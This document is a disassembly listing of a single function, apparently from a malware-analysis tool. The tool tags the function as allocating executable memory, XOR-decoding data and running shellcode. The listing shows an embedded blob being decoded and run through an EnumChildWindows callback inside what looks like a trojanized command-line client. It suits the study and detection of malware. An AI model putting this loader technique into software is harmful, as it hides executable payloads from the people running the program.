Function at 0x425f00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22f0
call fcn.00429210
mov eax, dword [0x4935ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x22e8], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x22ec], eax
call fcn.00423a90
push 0x22d6
lea eax, [ebp - 0x22dc]
push 0x485fd8
push eax
call fcn.0042a350
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov bl, byte [ebp - 0x22dc]
mov esi, eax
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x22e0]
push eax
push 0x40
push 0x22d5
push edi
xor bl, 0x90
mov dword [ebp - 0x22e0], 0
call esi
test eax, eax
jne 0x425fb7
push 4
push 0x1000
push 0x22d5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x22e0]
push eax
push 0x40
push 0x22d5
push edi
call esi
lea esi, [ebp - 0x22dc]
mov ecx, edi
sub esi, edi
mov edx, 0x22d5
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
xor al, bl
mov byte [ecx - 1], al
nop
nop
nop
sub edx, 1
jne 0x425fc6
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.00420ea0
mov eax, dword [ebp - 0x22e8]
mov dword [0x495b1c], eax
mov dword [0x495b24], 0
call fcn.00423730
push 0
lea eax, [ebp - 0x22f0]
push eax
lea eax, [ebp - 0x22e4]
push eax
push dword [ebp - 0x22ec]
call fcn.00428d60
xor esi, esi
add esp, 0x10
cmp dword [ebp - 0x22e4], esi
jle 0x426155
nop dword [eax]
nop word [eax + eax]
mov edi, dword [ebp - 0x22f0]
mov edx, str._pgpfp
mov ecx, dword [edi + esi*4]
mov eax, ecx
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x426080
test bl, bl
je 0x42607c
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x426080
add eax, 2
add edx, 2
test bl, bl
jne 0x426060
xor eax, eax
jmp 0x426085
sbb eax, eax
or eax, 1
test eax, eax
je 0x426138
mov edx, 0x4882e8
mov eax, ecx
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x4260b4
test bl, bl
je 0x4260b0
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x4260b4
add eax, 2
add edx, 2
test bl, bl
jne 0x426094
xor eax, eax
jmp 0x4260b9
sbb eax, eax
or eax, 1
test eax, eax
je 0x42611b
mov edx, str._restrict_acl
mov eax, ecx
mov bl, byte [eax]
cmp bl, byte [edx]
jne 0x4260e4
test bl, bl
je 0x4260e0
mov bl, byte [eax + 1]
cmp bl, byte [edx + 1]
jne 0x4260e4
add eax, 2
add edx, 2
test bl, bl
jne 0x4260c4
xor eax, eax
jmp 0x4260e9
sbb eax, eax
or eax, 1
test eax, eax
je 0x42611b
mov eax, str._restrictacl
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x426112
test dl, dl
je 0x42610e
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x426112
add ecx, 2
add eax, 2
test dl, dl
jne 0x4260f2
xor eax, eax
jmp 0x426117
sbb eax, eax
or eax, 1
test eax, eax
jne 0x42612e
call fcn.00427580
inc esi
cmp esi, dword [ebp - 0x22e4]
jge 0x426155
jmp 0x426050
mov eax, dword [edi + esi*4]
mov dword [0x494750], eax
jmp 0x426155
call fcn.00428c80
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004291ff
mov esp, ebp
pop ebp
ret 0x10
call fcn.004198d0
push 0
push 0x4248b0
push 0
push 0xc9
push dword [0x495b1c]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
dec eax
neg eax
sbb eax, eax
neg eax
push eax
call fcn.00426190
int3